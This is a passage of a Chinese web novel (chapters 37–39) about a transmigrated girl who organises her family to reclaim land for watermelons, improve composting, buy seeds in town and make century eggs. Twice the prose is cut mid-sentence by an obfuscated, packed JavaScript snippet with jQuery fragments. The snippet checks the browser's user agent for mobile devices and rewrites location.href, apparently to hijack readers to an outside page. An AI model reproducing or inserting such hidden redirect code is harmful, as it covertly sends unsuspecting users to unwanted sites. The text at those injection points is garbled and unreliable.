其他人或是磨豆浆或是洗衣或是去了地里,都清闲不下来。 林阿奶回了家,一转头,发现林知正跟孩子们围成一团,叽叽咕咕也不知道在说什么。她就忍不住微微一笑,问林阿爷:“他们这又是在做什么呢?” 林阿爷看了一眼正撅着屁股背对着他们的林知不知道和孩子们嘀咕了什么,大家正发出一阵阵惊呼。 有些无奈地跟林阿奶说:“这孩子刚才说,她打算开荒种东西。” 林阿奶一怔,“种她那些花吗?”她首先就是想到这个,因为最近林知很宝贝她的那些花,松土浇水施肥,还要时不时搬来搬去的。 “不是,她要种寒瓜。”林阿爷语气古怪地回答。 寒瓜并不稀奇,但是没有经验丰富的老农是种不好的,所以他们才觉得奇怪,可是如果是林知的话,他们又下意识想相信。 林家的田地不少,四个成年人就有一百六十亩的田地,是很难全部精工细作的。所以他们只专心侍弄一部分土地,当然粮食产出交过税后,也就只够他们一大家子嚼用了。 水土好的田全部种上水稻,次一些的则种植小麦,是旱地则要播种各种豆子以及种植瓜果。 林家的地虽然多,但是成年劳动力少啊,因为家里孩子多,最大也不过十二岁,所以他们家大多数地都是荒着的。 “而且,他们几个孩子想自己干。”林阿爷最后补充道。 这句话彻底让林阿奶没了话,她直接说:“行了,让他们自己去折腾吧。家里的好地是不可能给他们用的,想要就自己去开荒吧。” 看见林阿奶回来,跟林阿爷商量的林知众人早就竖起耳朵听这边的动静了,听见林阿奶同意,他们立即欢呼起来。 林义紧紧盯着林知问道:“真的像你先前说的那样,赚了钱给我们分吗?” 林知就是用自己赚些零花钱的由头让林义他们答应掺和这次行动,她忙不迭点头,“当然说话算数。而且等我琢磨出其他赚钱的法子,也带上你们一起。” 林义笑眯眯地说道:“够义气!” 林仁好奇地问道:“只只,你怎么突然想起来要种寒瓜了?” 林知一脸无辜地说:“因为我想吃了!” 的确,这是她的心里话,香甜可口,汁水四溢的西瓜谁不爱啊? 对了,西瓜在这个时候被叫做寒瓜。 蹲在旁边旁听他们计划的俞珩笑出来声,他突然知道为什么林智那么馋了,原来是有个一样的姐姐。 “那我可不可以参与进来啊?我不要工钱,到时候分瓜给我吃就好了。”俞珩偏头微笑着征询着林知的意见。 林知看他本就明眸皓齿,笑起来更是眉眼弯弯,好看得不行。 不行,林知差点忍不住捂住自己的小心脏露出星星眼,作为一个颜狗,而且还是如此好看的幼崽,心里欢喜得不行。 听见俞珩这么主动,林知当然愿意了,她还很缺劳动力(不是),到时候把林智他们也给带上。 “就这样,我们先选一块适合的地。寒瓜种子就交给我,开荒就交给你们了。”林知拍板道。 “你去哪里找啊?”林义好奇地问道。 林知调皮地眨眨眼,“反正时间还早,你们做好自己的事儿就行。至于我嘛,山人自有妙计。” 接下来几天,大家就可以看见林知背着个小手,越来越远林阿爷的气质了,在家里的田地处晃悠。当然,她还不全部知道家里的地有哪些,所以她把林慧给带上了。 西瓜为深根系作物,其根系入土深而广,吸收能力强,栽培宜选用土层深厚、硫松肥沃、排水良好的壤土或砂壤土。 她逛了三天才决定下来选哪一块地,就在离家近三百米处山脚下那一片荒地,背靠大山,前有河流。 好处是土壤肥沃,离水源还近,看那茂盛的草就可以看出来了。 坏处也是草太茂密了,当林义几人拿着锄头镰刀站在这片土地面前的时候,不住傻了眼。 “林知,这就是你选了几天的地?这么多草,我们得干到什么时候啊?”林义觉得自己的手已经在隐隐作痛了。 “嗯嗯,二哥,看事情不能只看片面啊!你看啊,这里草这么茂盛,说明土地好啊,对不对?”林知有些心虚,但是语气和理直气壮,她拍了拍林义的肩膀,“二哥,不用担心,俗话说,‘兄妹齐心,其利断金’嘛。” “还有两三个月呢,我们这么多人还怕开不出这点地。”林仁乐观地劝说。 于是一群人就开始割草捡石头,干完这些还要翻地。 当然,并不是翻出来就够了,还得把草根等都打落土拿出来,再把泥块敲碎,又翻一遍成垄,最好能撒一层肥下去养一养。 关于肥料的事情,他们不用想家里的了,因为本来就不够用,更不可能分给他们了。 不过,林知心里已经有了打算,还是先干活再说吧。 林慧和林知就割草,林仁和林义、林礼跟在她们后面锄地。而俞珩则跟着林智、林敏清理石头等杂物。 一群人干到夕阳西下,空气中氤氲起了一层薄薄的水雾时,才打道回府。 回头看见相比于这一大片的地而空出来的一小块地,大家内心不由觉得开荒任务任重而道远啊! 晚上饭桌上,钱氏他们看见一群孩子焉哒哒有心无力的扒拉着碗里的饭,心下好笑,看来这真的是给累坏了!不过他们反倒乐见其成,以往家里早就被闹翻天了,孩子多,难免有争吵。他们精力旺盛,整天就上蹿下跳的烦得很,今天难得安静。 “怎么样?这下知道种地有多累了吧!你们也知道粮食得之不易了。”林阿爷打趣道。 林义累得话都不想说,其实他们以前在外面玩的时候,绕着村子跑,爬几个山头比开荒运动量可大多了,可就是锄地要一直保持一个姿势,他感觉现在自己的胳膊都要抬不起来了。 一群孩子低着头,他们以后再也不嫌饭做得难吃了。 林知端着碗,有些犹豫自己要不要这个时候说出自己的打算。算了,说吧,又不是什么见不得人的事情。 “阿爷,这几天我琢磨出一个新的沤肥的法子,要不我们试一试。” 话音刚落,其余人都用幽怨的小眼神看向她。 “咳咳,吃完饭再说吧。”林阿爷直接被噎到了,他把手放在嘴边咳嗽了几声才说。 这一出过后,大家不约而同地加快了吃饭的速度,三下五除二地扒拉完碗里的饭。 喝了一口水,林阿爷坐在椅子上清清嗓子,看向林知道:“现在你说吧。” 林知前两天虽然在考察地,但是也没有闲着观察她家里面的沤肥法子,他们家是收集周边的有机废弃物,比如农作物秸秆、菜叶、家禽畜牧的粪便等。 然后,将这些有机废弃物就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143850|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接堆积在一起,进行堆肥。 其实她的方法大差不差,只是琢磨出了两个可以改进的地方。 “我想到两个可以改进的地方。”林知组织了一下语言继续说下去,“一个是原材料可以增加,比如杂草树叶、河塘泥;另一个就是堆肥的手法,细节可以更讲究。” 现在他们家是挖一个坑,把东西一股脑混在里面,这样并不能充分利用起来。 “有把握吗?”林阿爷压下心中震惊,抬起头来看着林智问道。 “九成。”林知思虑了一下回答,她只是个理论派,自己并没有亲手做过,因为以前化肥、各种专用肥料都可以买到。 只不过她有一个朋友在研究更加绿色环保的化肥,她曾经旁观过朋友的实践,所以她格外留心了一些。 说罢,她掏出来一个皱皱巴巴像是被翻烂了一样的小蓝本。 “这本小书是我上次在书铺里找到的,掌柜的看反正这书这么破了,也就十个铜板卖给我了。” 林知机灵,早就找好了借口,至于这本书其实是她自己编的,又找人誊抄了一份儿,花了可不止十钱。 为了看起来逼真,她还把这本书弄得看起来很旧很破的样子,希望不要露馅。 屋里沉默得只剩下翻书的生意,巴掌大的小书只有薄薄几页,几下就翻完了。 林阿爷用手掌轻轻拂过书页,内容不多,记录了一些农家肥起源以及发展历史,还有一些具体的制作方法。 言白杂叙,条理清晰。 但是他心下奇怪,没有对农事很了解且专门研究过的人写不出这么详细的知识。而且身份上,还得识字有些财力的人才能著书。 这种人很难得啊! 兴许是前朝有志之士流传出来的,所以他最后什么也没有说。 但在其他人耳中,九成就意味着能成功了,所以大家皆心动不已。 农家肥对于田地的重要性不言而喻,这可是关乎一年的生计。因为堆肥事大,所以他们打算明天就只林大郎和钱氏去卖豆花,豆腐都不卖了。 “那明天试一试吧,大家都会一起帮你。”最后林阿爷决定按照林知说的那样去试一试,如果真的能改进,那可是一件大好事儿。 第二天一早,全家齐上阵。 马氏就把鸡圈的粪便给打扫出来了。他们家养这么多鸡,一方面是为了下蛋,一方面就是为了堆肥了,毕竟光是人的那一点儿也不够啊。好在现在家里有了牛,也攒了不少农家肥。 因为林阿爷的发话支持,所以只要林知制作肥料,家里的材料啥的任她取用。 他们没有用原先的肥坑,而是在旁边不远处重新挖了一个。林阿爷带着两个儿子挖,其他小子往外运土,其他人也不闲着。 林知打算用草塘泥,从名字就能看出来,使用人畜粪便和河、塘泥组成的,还可以加入一些枯枝落叶和鲜草。 因为一般树叶和杂草的含氮量都很高,林知也打算在里面加一些,刚好趁这个机会,林知让大家给她的荒地除草,连林阿奶都去帮忙了。 她得意地摇晃着小脑袋,诶,自己还真是个天才,草除了,肥有了,这不是一举两得嘛。 人多力量大,不过一天多,他们就挖了一个大坑,林知还贴心的铺上了一层草皮和树叶作为底层,这样可以防止堆肥的养分流失。 今天留下来的是林大郎夫妇,换成林二郎夫妻俩去了县城。 林大郎是干活儿的好手,一担一担已经发黑的河泥轻轻松松的就可以挑回来,他放下担子,抹了一把汗。 此时,林知他们正围在坑边看大人们往里填东西。 37. 第37章 先铺一层三到五寸厚的细土,再铺一层一尺厚的秸秆,并泼洒一些石灰水,以补充微生物活动所需要的氮源和调节肥堆中的酸碱度。 这些林知并没有写在书里,为了简洁方便,她能省就省。当然,她决不认为自己在偷懒。 然后再把作物茎秆、绿肥、杂草等和河、塘泥及人粪尿一起同置于坑中。 林知带着林仁、林义和林礼他们从林子里又扫出很多枯叶,钱氏和马氏她们放在木板上用刀切几下扔下去。 “再放一些家里已经成熟了的肥堆吧,这样可以加速堆肥的分解。”林知思忖了一下,提建议道。 林阿爷昨天晚上把那本书翻来覆去的研究了个透,他和林阿奶商量着分析。他们也是干了很多年的农事儿了,这些经验还是有的。 越研究越觉得这本书写得有道理,可惜被埋没在小书铺里了。 一行人又从旁边的肥堆里挪过来一些肥料。 最后还用做好的草盖将坑给盖起来,为了保暖还往上放了好多枯草。 林大郎很怀疑,“这样就行了?” “还不行,以后还得要定期翻堆。这样可以促进堆肥的分解。”林知摇摇小脑袋道,一般来说,每隔一周左右就要翻一次堆。 “还要注意保持堆肥的湿度和温度,如果堆肥太干,可以适量地浇一些水。温度太高会烧肥的,还要晾晒降温。”她又补充道。 “好麻烦啊!”林义蹲在地上,有些抱怨地说。 “不难的话,那不是谁都会做?还要讲究什么技术啊。”林知不雅地冲他翻了个白眼。 “嘿,说不定今年我们家还能多种几亩地呢!”林大郎一边把工具啥的收拢一边笑着说。 因为林知的这个新法子,用到的畜粪比现在他们以前用的要少一些,加大了对枯叶和其他泥土的需求,这说明同量的畜粪,他们可以堆积出更多的肥。 以往年怕地力跟不上,家里劳力也不多。今年倒不一样了,家里买了牛,也沤肥了,说不定还有余力呢。 林三郎有些不乐意,“家里的生意好好的,要是去干地里的活,那不人手就不够了嘛,还能赚到这么多钱嘛?” 林阿奶没好气的给了他后脑勺一巴掌,怒道:“赚再多钱,也没有粮食来得实在,想当年,多少人手里捏着钱也买不到粮食,最后活生生饿死的……” 林阿奶说的是几十年前打仗的时候了,乱世之下,壮丁都被拉去服兵役,有些力气的为了不被抓也背井离乡跑了。 少了壮年,村子里就剩些老弱病残,哪有人种粮食啊,没有种地,也没有粮食吃。那时候才是一点粮支撑几口人,拿钱也买不到的。 那些年代过来的人天然觉得还是堆满粮食的粮仓比什么都可靠。 林义几个小的瞧见他们三叔/阿爹被阿奶给教训了,都偷偷摸摸怂着肩笑个不停。 又是挑河泥,又是挖坑的,林家这几天的动静可不小,村里不少人都跑来凑热闹,大多数人是蹲在一旁看,也有人帮把手,然后问林阿爷,“这是在干什么啊?” “我们家得了一个新的沤肥法子。”对于这些事,林阿爷他们也不刻意瞒着,农事重要,农肥重要,现在村里的法子也是一家家交流经验,试验出来的。 听说的人来了兴趣,“可行吗?” 林阿奶啐了一口,挥手朝问话的人道:“书上学来的,能不行。” 林阿爷是村里鲜有的读书人,大家以往也对他多些敬重,对书更有一种神圣的尊崇,所以对他们的法子信了八分。 有些机灵的人家已经一边在向他们打听细节和方法,一边派家里人去挖坑准备材料了。 所以这几天就可以看见,村里到处都是在挖坑的人,树上本就不多的鲜叶子,地上的杂草都被一扫而空,就跟蝗虫过境似的。 村里是干得热火朝天。 好在最近雨水少,个个都是大晴天,但是太阳亮晃晃的也晒得人心生惫懒。 林知在院子里晃了晃,打理着她那三十几个竹篮的花。 酢浆草是喜光植物,不喜欢过度潮湿,浇水要做到见干见湿,所以林知每次都很尽心。功夫不负有心人,前几天竹篮已经长出喜人的小芽,林知将花篮移到阳光充足的地方。 她像是吃了蜜糖一样,心里喜滋滋的在院子里像一只小蜜蜂一样飞来飞去忙碌,想着只要多浇水,保持环境通风,看来很快就可以完成开花啦。 入了十月,冬夜越来越长。 林知拱着个小被子把自己包的严严实实的,突然她“蹭”的一下从床上爬起来。窗外面还是灰蒙蒙的一片,内心天人交战她不情不愿地起了身。 诶,真是麻烦啊!此时她只想仰天长啸一声。 因为得找个让寒瓜种子光明正大的出现在人前的路子,林知只打算能再进城一趟。 好在家里有了牛车,不用再倒腾她那两条短腿了。吃过早食,一家三口赶早上路,只花了原来走路的一半时间就进了城。 林知窝在车上,被花被子一围,又睡起了回笼觉,还是罗氏说已经到了,她才迷迷糊糊下车来。 “活动一下手脚,都快坐麻了吧。”罗氏温柔地递给她一壶温水,“喝点水先暖一暖。” “谢谢阿娘!”林知小口地喝了些水,感觉自己终于回过了神儿。 天微微亮,清冷的街上只熙熙攘攘几个人。 另一边的林二郎已经开始把摊子搭起来了,给摊车装上炭火,把桌椅板凳摆好…… 林知和罗氏连忙去搭手。 卖豆花并不复杂,不过是先在碗里盛上热豆花,按照客人选的口味添些小料。豆腐就更简单了,切块儿放到篮子里就行。 其余便是招呼一下客人或者打扫卫生。两个人完全忙得过来,所以这也是为什么林家人放心一次来两三个人的原因。 小摊上逐渐有了一些客人,熟的人就直接坐下喊来一碗豆花,头一次来的人则凑在摊子前仔细询问有哪些特色。 一对年轻夫妇慢条斯理地吃着,还时不时说上几句话。 “唔,这是最后一样了吧?香菇配上臊子,咬上一口,香菇的弹嫩和牛肉的鲜美就在嘴里怦然释放,味道鲜美,让人欲罢不能。”女子低着头,一边小口品尝,一边评价道。 香菇鲜嫩肥厚、弹润入味,再配上醇香浓郁的肉丁,整碗豆花色泽鲜红有光泽。 崔先生看着姚娘吃得香的模样,手里的白瓷勺碰着碗壁,心里无奈好笑,她哪次不是这么说。 自从上次余姚吃过林记豆花,便喜欢上了这个味道,虽然算不上什么珍馐玉肴,但是也别有一番风味。于是接连几天,她都热情的拉着老崔跑来把小摊上所有的口味给尝了遍。 原本喜爱甜食的她直接叛逃,爱上加一勺红油辣子的豆花。 “唔,天气越来越冷了,吃上这么一碗,浑身都热乎乎的,舒服啊!”余姚放下碗勺,伸了一个懒腰 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“啦啦啦啦啦~”林知哼着不知调儿的小曲儿,心情俨然不错。 日头高升,釜里的豆花以肉眼可见的速度减少,路上的行人也开始变少。 “只只,你不是有事儿吗?让你阿爹陪你去吧,有个照应。”罗氏打理着灶台,猜到林知要说什么,她马上补充道:“你们别担心这儿,阿娘一个人忙得过来。办完了事情,我们好早些回家呢。” 林知见的确客人没有几个了,而且时辰也不早了,他们还得走上那么久的路呢,思索片刻就答应了。 “那行,我们先去买东西了。” 大集上有卖寒瓜种子的吗? 地摊上当然是没有的,林二郎见林知打算像只没头苍蝇一样到处乱转,就揪住她的后衣领,“我们去瓜果铺子看看吧。” “也行。”两人转了个道,直接向着城里最大的瓜果铺子而去。 父女俩询问了一下店小二有没有寒瓜种子,结果被告知他们店只是卖瓜的,也是从别人那儿进的货,哪里有种子卖啊。 林知见店小二神色自若,没有想要再说下去的样子,她悄悄拉了拉林二郎的袖子。 “小哥哥,我们想买一点水果。”林知露出自以为最可爱的笑容甜甜的朝店小二说道。 果不其然,这次店小二立刻换上了得体的笑容陪他们在里面逛了一圈,还边介绍品种和讲解价格。 现在正是吃频婆果的好时节,也就是后世说的苹果,这个时代的苹果还是很常见的。 见林知盯着频婆果看,店小二贴心的解释道:“这是洛川刚运过来的频婆果,水灵,爽脆可口,只要十文一斤。” 林知看了她爹一眼,后者点了点头,于是她便说:“咳,就给我们称上两斤吧。” 一共二十文,店小二贴心地替他们打包好,笑眯眯地还不忘指个路,“唔,东街进去直走,右拐第二个院子,有一个瓜农姓罗,你们去那里看看吧。” 见得到了自己想要的消息,林知笑着告辞,“谢谢小哥哥。” 这下反倒是店小二不好意思了,他挠了挠头提醒说道:“老罗脾气好,他今年搬来跟他儿子儿媳住,以后也不种瓜了,你们多问问,说不定就成了。” 林知没想到店小二还会提醒她,这下露出一个真诚的笑容来。 38. 第38章 半刻钟后,林知和林二郎站在一扇并没有关上的门前,林二郎礼貌地上前敲了敲门:“请问有人吗?” 店小二口中所说的老罗正坐在藤椅上一摇一晃的补眠,看见一个青年带着一个小姑娘站在门前,他就眯了眯眼,仔细地看了看林二郎和林知,发现有些眼生。 “你们找谁啊?” 林知从她爹身后探出一个小脑来,“我们是想打听一下有没有寒瓜卖。” 这句话都把老罗给逗笑了,“小姑娘,这个季节没有寒瓜卖了。” 她低着头对了对自己的小手指,小声道:“那我可不可以买一些寒瓜种子啊?” “嗯?”老罗微微坐直身体,笑问,“你会种?” 林知一点也不在意地道:“我可以学嘛,我从书上看的,寒瓜要育苗、要种在排水好,土壤肥厚的地方……”她挑了几个要点说。 老罗看着小姑娘摇晃着小脑袋,一脸得意地说着她会种寒瓜,觉得有些可爱。好在老人也不倨傲,他若有所思,直接起身,拿出一包瓜种来给她,道:“这是我昨年留的一些种子,我已经用不上了,你拿去种吧。” 林二郎推辞道:“多少钱,我们还是买吧。” 无功不受禄,林知附和着点点头。 老罗特别大方,挥了挥手道:“就当结个善缘,你给个两文钱就行。” 林二郎掏出钱来递到老罗手里,“多谢。” 老罗但笑不语。 辞别老人,林知他们朝着集市走去准备买些东西,得到了自己想要的东西,林知连走路都是一蹦一蹦的,透露出她此时的好心情。 集市也有卖肉的,他们家几乎每天都会买上点筒骨回去炖汤。当然,剩下的骨头也不会浪费,都会留给大黄吃。 所以父女俩下意识地先去看豚肉。 时下的人更爱吃羊肉,反而对豚肉避之不及,而且羊肉也比豚肉更贵。 所以卖豚肉的摊子面前人并不多。 林知凑上去看,摊主用抹布擦了擦手中的刀,笑问两人,“买肉?” 林二郎问,“豚肉怎么卖啊。” 摊主给肉分了区域,指着道:“这一堆十一文一斤,这一堆九文,这一堆八文。” 是按照肥瘦来分的,越肥的越贵。 林知点点头,倒是比村里卖得便宜啊,难怪不得大家宁愿走上一个时辰的路来县城里买肉。 不过,既然要花费这么多的时间和精力,村里买肉很是方便,价格贵上一点儿也是情有可原的事儿。 林知他们要买的筒骨就得八文钱一斤,林二郎要上两根,掏出钱来付。 摊主做成生意,一边帮他们处理肉,一边一脸笑眯眯的跟他们唠嗑:“这熬汤啊还得是大骨,这块看到了吗,连着的肉多,这骨头里还有骨髓呢,熬出来的汤特别好喝。” “诶……”林二郎也笑着附和。 买过肉后,父女俩又去杂货铺买上了些盐,家里人多,干的又是体力活,所以这盐消耗得很快。 “这盐卖得比肉还贵啊!”林知咂舌,提着两包盐跟着林二郎回去了,而且成色还不是很好。 “行了,走吧,你阿娘还在等着我们呢!”林二郎没有理会他闺女的抱怨,脚步加快地朝回走。 林知:……合着女儿是意外,媳妇儿是真爱呗! 回到摊位处,东西都已经卖完了。罗氏正在收拾东西,见林知他们回来了,道:“好了,豆花已经卖完了,我们也可以回去了。” 林二郎放下手里的东西,先把摊位桌椅板凳收回租来的院子,又去拴马桩处把牛车给拉回来。 这相当于古代版的“停车位”,县城里是不可能让人随意摆放这些东西的。一般这些场所都是有人专门看顾的,给两个铜板,人家还会给牛马喂草喂水呢。 当然,富贵人家或者驿站、高档的客栈都有固定的拴马桩,拴马桩往往是长长的拴着铁环的石刻长柱形。 林知之前第一次见还挺新奇的。 “走喽,回家。”林二郎把东西和妻女都安顿好,架着牛车就出了城。 林知则把他们刚才遇到的事儿讲给罗氏听。 罗氏听见他们父女用买频婆果作为条件去交换寒瓜种子的下落这一招,简直哭笑不得。她用手指虚点了一下林知的额头,“你呀,真是个机灵鬼。” “那是,也不看看我是谁的女儿?”林知调皮地眨眨眼说。 “噗嗤……”林二郎和罗氏都被她给逗笑了。 因为心里揣着事儿,林知一点儿也坐不住,她想快点回去跟大家分享苹果呢。 罗氏见林知像是屁股底下有根刺一样的,老是挪来挪去的,无奈笑笑。 半个时辰后。 林知顾得不得板车没停稳,咕噜一下就从板车上滑下去,然后蹬蹬地跑到门口,“你们快来看啊,猜猜我们买了什么好吃的?” “哇啦哇啦——”林智和林敏率先听着响,迫不及待地跑出来。林家还没有吃午食,但饭菜都准备好了,显然是在等着他们呢。 林二郎把牛车停稳,其他人七手八脚的帮他把东西接过来,等他自己反应过来,连牛都被牵到后院儿去喂食喂水了。 “哇——是频婆果耶。”林智扒拉着他姐的手惊呼道,其他几个孩子也围了过来。 几个果子色泽艳丽,粉里透红,散发出浓郁的果香,清香诱人。 家里只有来客人或者过年这种大节才会买上几个频婆果,所以他们是真的很惊喜。 “等着啊,我去给你们切。”林知快步跑去厨房。 “诶~这孩子,还是这么冒冒失失的……”刚从厨房出来差点被林知给撞到的钱氏没好气的抱怨道。 两斤苹果没有多少,也就六个,家里这么多人,一人一个肯定不够分,所以林知打算把一个苹果切成四块儿就好分多了。 把苹果切开,熟透的苹果,肉是米黄色的,里面的籽是黑色的,新鲜的汁水流出来,香甜的气味儿顿时弥漫在空气里,让人口齿生津。 林知感慨了一下,前世随处可见的苹果,自己还不爱吃,没想到到了这里都变成了奢侈品。 她找个盆把它们给装起来端到堂屋里,大家都准备开始吃饭了。 “来来来,大家尝尝好不好吃。”林知招呼着大家。 林敏机灵的半个身子都俯在桌子上了,她伸手就去抓。拿到手,她“蹬蹬蹬”的举起跑到林阿奶和林阿爷面前,奶声奶气地说:“阿爷,阿奶,吃果子。” 林阿奶笑得牙齿都露出来了,她摸了摸林敏的头,“好孩子,你吃吧,阿奶不喜欢这些东西。”见被拒绝了,林敏的目光无措地投向林知,在她心里,二姐最厉害了,她肯定有办法! 林知接收到求救信号,她立马向林义投去一个“你懂的”的眼神,拿起一块儿苹果就咬了下去。 兄妹俩还算有点子默契,林义先是迷茫地眨了眨眼,然后反应了过来。 顿时她脸上五官扭曲,一边呲牙咧嘴的,一边不忘给林义使眼色。 林义默契的说:“啊?是酸的啊?” 说着他也拿了一块,囫囵塞到嘴里,也做出和林知一样的表情,面部表情狰狞,眉头紧锁,嘴巴一直在动。 还不忘吐槽道:“呸,好难吃,林知你不会被骗了吧?这么酸。” “阿奶,你不信,尝尝好不好吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151818|194356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”林义把刚才林敏手里的那块儿频婆果,直接趁林阿奶疑惑得看着他们俩不注意,给塞到嘴里了。 见“奸计得逞”,林知一瞬间眉头舒展开,津津有味的吃起来,脸上露出了甜甜的微笑。 林阿奶吃到嘴里,哪儿还不明白他们是在做戏,笑骂,“你们两个小兔崽子,竟然敢耍我啊!” 二哥这么拙劣的演技都没有露馅! 林知辛苦憋笑,举手投降,“阿奶,我可没有,是二哥说酸的啊!”的确她一个字都没有说啊! 一旁刚才还在洋洋得意的林义瞪大眼睛,这简直就是卸磨杀驴! 太奸诈了,你,林知! “哈哈哈——”大家看见他这个表情笑得个倒仰。 “行了,既然是孩子们的孝心,你就吃吧。”林阿爷笑道。 林智他们“咔嚓咔嚓”的咬着果子,果然肉质脆密,整个频婆果吃起来甜津津的,大家开心的摇晃着脑袋。 林阿奶也无奈笑着。 最后每个大人都吃了一块儿,剩下的全分给了孩子。一家人吃过午饭,各种忙去了。 夜里南风起,又连着下了几天淅淅沥沥的雨,温度直线下降。 这不雨一停,林阿爷和林大郎林二郎就扛着锄头去看肥堆了,当然,林知也被提溜着去了。 下过雨后,温度也回升了一些,看时间也差不多了,是要翻肥了。 林阿爷他们把上面的稻草给掀开,林大郎蹲下去用手搓了搓肥,心满意足,“不错,看样子这个法子能奏效。” 堆肥成熟后,颜色会变为深褐色或者黑色,没有任何异味,而且质地松散,易于分解,没有任何硬块。 林阿爷也凑上去看,见果然已经有了成效。 他欣慰的看着林知道:“这个法子的确好,这个坑才挖了七八天,现在竟然就发酵了,等再过几天说不定就能腐出来了。” 要知道,现在他们堆肥一般都要堆半年的。 从快要秋收不再用到肥料的时候开始堆肥,要等到来年开春育苗的时节,肥料才能被腐好。 林知精神一振,立即道:“书上说了,要翻肥。一来是防止内部的温度太高把肥给烧化了,二来,可以将外部的肥料翻到里面腐熟,这样就能保证肥料均匀受热,加快腐熟速度。” “好,我们把它晾开看看。”林阿爷率先撸起袖子,动手把肥堆扒拉开。 于是大家都可以更加清楚和感官的看见最底下的叶子杂草已经变黑了,只要用锄头轻轻一碰就碎了。 于是几人干得更卖劲儿,三下五除二的就把肥堆翻了个遍。 林二郎杵着锄头,因为手上有脏东西,他不敢用手直接抹脸,而是眼神示意林知,林知乖巧的上前用帕子替她爹擦了擦汉。 他转过头来道:“阿爹,要不我们再挖一个坑堆肥吧。” 看这个架势,肥料四十来天就可以彻底腐熟,再等二十天就可以拿来施肥了。现在才十月,时间完全是足够的。 “好,这两天就辛苦一些了,再开一个肥堆出来。家里的那个开春也能用上,也要注意。”林阿爷思虑半晌后说,毕竟谁会嫌肥料多呢。 堆肥的全过程他们都是参与了的,所以流程也很是熟练,根本不用林知费心,只是有问题会询问她一下。 值得庆祝的是,林知他们要开荒的那块地上的草都被割完了,接下来就是翻地了。 可能是因为村里人都在堆肥,可以用的材料越发少了,要费不少心思。 不过好在有人来向林家人取经的时候,不忘给他们带些原材料,所以当村里已经为挑河泥吵架的时候,林家还能安然地使用上这些东西。 39. 第39章 过几天,林知觉得最开始做的那一批皮蛋应该是可以吃了,她打开角落里的坛子,敲开最外面的一层壳,洗干净后扒开鸭蛋的壳。 一簇簇晶莹如玉的银色“松花”或印或镶嵌在已凝固的褐色蛋清,在太阳下“变成”了一块金光灿灿的大琥珀,仿佛是由一位能工巧匠在上面夜以继日的精雕细琢而成的。 轻轻咬一口黄褐色的蛋清,入口爽滑,带着些微咸。 林知眼睛一亮,看来自己还保持着前世的水平嘛,虽然不如专业的,但是好歹能入口。 她打算今天晚上给大家做一个皮蛋肉丝粥和松花蛋拌豆腐。 “阿娘——我们今天晚上熬粥喝好不好?”林知转身跑出去找罗氏。罗氏正在屋里看顾孩子,哪知林知一不留神就冲了进来,“小心点儿,跑这么快当心摔着。” 林知立即被床上躺着的小孩儿给转移了注意力,她趴在床上看。 好小的孩子啊!因为她以前没有兄弟姐妹,所以还是第一次看到新生儿从生下来开始长。 “他们怎么长得这么慢啊?都快两个月了,看起来还这么小。” 一个月内的婴儿俯卧还不能自已主动抬起头,只能本能地挣扎,使面部转向一侧,到两个月时能稍稍抬起头和前胸部,三个月时头能抬得很稳。 林知看他们睡得沉沉的,就用手捏了捏孩子的耳垂和小脸蛋儿。婴儿的皮肤可娇嫩了,柔柔的滑滑的,好像吹弹可破的糖瓷娃娃。林知开心得眯起双眼,手感真好啊。 这下可不小心把孩子弄醒了。福宝和乐宝马上满脸涨得通红,眉头皱着。 罗氏只是有节奏的轻轻拍着裹着他们的被子,“噢噢——”的哄着,但才没过了多久,他们就又眯起眼睛呼呼地大睡起来了。 “淘气!”罗氏哭笑不得,“对了,你刚才喊我做什么?” 林知才想起自己的正事儿,“我们先前做的皮蛋应该是能吃了,我想晚上熬粥喝。” 罗氏点点头,算是默许了她的决定,“可以,福宝和乐宝才吃过奶,他们一睡着就要很晚了,我来煮晚饭吧。”说着她压紧两个孩子的被角,起身要去厨房。 林知见状也屁颠屁颠的跟上去。 罗氏烧火准备做饭,林知在一旁描述该怎么做。 先是锅里烧水,把大骨洗净放下去、加入生姜黄酒去腥,盖上锅盖炖煮,直到把筒骨里的骨髓熬出来,汤上飘了一层清亮的油花。 林知则在一边踩着凳子准备材料、把瘦肉切条腌制、干香菇泡发、皮蛋剥壳切块。 见时间差不多了,罗氏把骨头给捞起来。然后把提前泡发的大米淘洗好倒下去。 等米变软熬出米油,接着把肉丝也倒下去、最后放香菇和皮蛋。 罗氏用勺子将这些东西搅匀,边跟林知讲:“粥在煮的过程中是不要盖盖子的,不然就熬不出这种汤汁白色稠稠的粥了,还有大骨本来就有点带油的,所以不需要另外加油了。” 小火熬煮两分钟,锅里“咕噜咕噜”的冒着泡泡,米香四溢。趁着这个功夫,林知打算再做一个松花蛋拌豆腐。 嫩豆腐是家里常备的,用刀划成小块铺在碗底,上面铺一层切碎的皮蛋和榨菜。 为了更适应家里人的口味,她做了一些加辣油的,一些没有。最后浇上酱油、醋和香油,不需要放盐,因为豆腐上面的配菜盐味已经足够。 这边的松花蛋拌豆腐做好了,那边的粥也好得差不多了。罗氏加点盐下去调味、熄了火,再加点葱花更香。 “吃饭喽——” “哇——好香啊!”林智他们疯玩回来冲进屋里。 “快去洗手,看你们一身汗和泥的。”罗氏有些嫌弃地说。 “你们今天的字练完了吗?早上教的书背住了吗?”林阿爷掀起眼皮子瞧了他们一眼。 